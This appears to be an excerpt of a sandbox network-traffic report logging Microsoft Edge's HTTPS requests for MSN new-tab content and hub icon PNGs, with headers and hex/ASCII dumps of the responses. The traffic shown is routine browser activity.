2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 05 4d 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 Data Ascii: MW"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<w
2024-11-11 11:40:29 UTC	2982	IN	Data Raw: e6 65 96 cf 74 0d 9b 50 80 73 67 dc 46 5a f6 ae bb 39 ae b7 1c b4 63 a9 f9 9e d4 43 6a 7b d9 70 7e e0 b8 6f 88 7c 38 fb aa d3 6e 30 6e e6 44 9e a2 dd a3 34 81 c3 f1 dc 4f 0e eb 1c 57 c9 76 dc 3f c5 a9 71 0e 0d a8 d2 c7 1b 03 68 3d 4e 45 77 2e 4b 39 14 3c 99 72 ae df 23 ca 6b b2 68 b9 8d a6 06 a3 0e e3 3d 56 d2 a4 43 18 3d 10 4c 67 30 7b e5 7b 0f 11 f0 da 3c 48 c4 df 6b b4 7b 33 e6 35 f3 75 c1 57 f8 57 13 44 93 2e 70 fc cd 69 77 68 99 1e 2b 37 63 b7 bf 71 34 e2 30 d4 e3 68 97 37 8d 26 f6 c4 24 69 64 bd c5 80 ee 1e a1 96 98 19 8b 6b d4 a4 e2 c6 d3 7c e2 c5 27 32 d8 83 95 c5 d1 6a e0 75 27 00 f1 25 a6 c0 00 1d bb 72 e6 be d9 ba d6 9e 85 4e 6b 4c 85 1f 86 3f ff 00 6a d0 6f 0e 75 a3 7e d3 01 4d e2 70 36 8d 4a 8d 6b 98 e6 b4 91 ed 31 31 d9 1e 09 2f e1 f5 3d 1a Data Ascii: etPsgFZ9cCj{p~o\|8n0nD4OWv?qh=NEw.K9<r#kh=VC=Lg0{{<Hk{35uWWD.piwh+7cq40h7&$idk\|'2ju'%rNkL?jou~Mp6Jk11/=
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-11-11 11:40:29 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: {tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q
2024-11-11 11:40:29 UTC	16384	IN	Data Raw: 08 df 7c bc 95 35 c1 98 4b 9c 63 68 d9 d8 a3 31 e7 db 60 c9 12 4c d8 8d e7 32 b6 ab 87 e6 0d c8 91 9c 5b 43 b5 73 ab 6a 79 65 db 17 e4 46 21 29 16 63 25 be 99 b5 c1 98 27 4e d5 6b 58 ce 16 e2 93 3b 63 43 9e ee 8a 2d b0 bb dc 1d 3b 04 6f 9e cd 2c 8a dd 04 90 2f 00 b4 99 36 b8 e4 ba 95 f1 16 dc 93 4b c7 3e e5 ce 05 c9 2e 76 7a 47 2f 92 8e 5c dd 32 d1 13 13 1e f8 f7 cc 67 11 7d 84 42 d7 35 b8 3d be c7 ed 07 10 be 4d 70 36 59 bb 71 5a ec fb f6 d0 92 23 71 12 4b 8c 81 97 ec 76 75 53 5c f7 60 81 9e ba 10 22 c2 df 45 18 62 73 04 8c 50 7d d9 09 ec ec 4d f8 af 60 d3 0d f6 82 5c 49 db b8 69 9a 57 7d db 25 e5 b1 51 9b 22 97 9a 62 5c 4c 9d 37 74 59 4d c1 ce 93 a2 99 52 93 aa b8 38 9c 26 00 2d 1b ad 26 2c 86 cf ba 0b 44 03 3f 6e fd b1 2b 4b b6 d0 88 2e 60 db 22 35 4d Data Ascii: \|5Kch1`L2[CsjyeF!)c%'NkX;cC-;o,/6K>.vzG/\2g}B5=Mp6YqZ#qKvuS\`"EbsP}M`\IiW}%Q"b\L7tYMR8&-&,D?n+K.`"5M
2024-11-11 11:40:29 UTC	1832	IN	Data Raw: 8d 70 12 f2 05 f4 68 f9 9d ca a1 f8 e4 1b b6 3f c8 49 26 e7 62 d1 8b 06 27 9b 9b 11 6c f5 30 13 73 43 18 03 08 6c 5c eb 7e 97 fa 2e 3c 30 f3 f5 20 a9 a4 46 07 08 c2 f7 5a 36 0f 3e 05 29 b6 a3 7d ec 6b 9a 41 2e 11 0d 89 76 78 b5 88 8b 9b 66 a2 50 70 a8 0b b4 00 e7 6b 8c 8e be 42 8f 44 60 6d e4 b8 c0 f6 dc db ce f4 9d ce 5c e4 d7 d3 e7 2b 73 49 87 92 9c a0 5b 27 d8 5a df b5 91 79 cc 1c c9 fd f4 d5 42 80 d7 12 db 9e d1 f4 de a8 03 98 5c d7 02 ec c5 f5 0e ce 6f 9c df 45 1d a2 4e cb 62 b1 db 16 b6 5f b2 c5 28 c7 f1 30 cf d4 23 9e 5a 6c 5d 20 b6 1c 32 13 9e db 9c a3 2c d0 de 1c d2 d6 86 9b 1b 49 c5 d9 19 05 1a 5d 18 5c e2 06 70 2f 26 60 da f2 79 a5 47 0f 41 b2 d0 64 8b 4f f1 07 c6 4f 45 b5 d7 b6 d6 7b e5 12 f6 ee f1 1c 96 03 01 83 77 1d e2 07 9d a5 51 ad c6 71 Data Ascii: ph?I&b'l0sCl\~.<0 FZ6>)}kA.vxfPpkBD`m\+sI['ZyB\oENb_(0#Zl] 2,I]\p/&`yGAdOOE{wQq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49896	20.96.153.111	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1817CCD1391B64C11978D9E5387965A3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ef3f001ede2a4a4ddea4a360bf65106d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
2024-11-11 11:40:29 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2623 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425142937-T700344092-C128000000002258229+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002258229+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 11:40:29 GMT Connection: close
2024-11-11 11:40:29 UTC	2623	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 41 6e 6e 61 70 75 72 6e 61 20 43 69 72 63 75 69 74 2c 20 4e 65 70 61 6c 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 61 6e 6e 61 70 75 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Annapurna Circuit, Nepal\",\"cta\":\"https:\/\/www.bing.com\/search?q=annapu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49905	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 1432c6b2-f01e-0014-7d08-34ab63000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968vwdr7hC1EWRsh3w00000004rg000000008kzs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49904	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 47e11513-001e-0023-751c-3407cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968pf68xhC1EWRr4h8000000056g000000001zr5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49901	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 770171a2-801e-0032-0b1c-3430d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968c2t8dhC1EWR8s2000000004ng0000000044ck Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49903	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 4e22f1bc-a01e-0061-451c-342cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968j6t2phC1EWRcfe8000000053g000000002asz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:29 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49902	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:29 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:29 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:29 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 2ea87f43-601e-0077-1e05-34ed46000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114029Z-174f7845968j9dchhC1EWRfe7400000004mg000000009x7t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
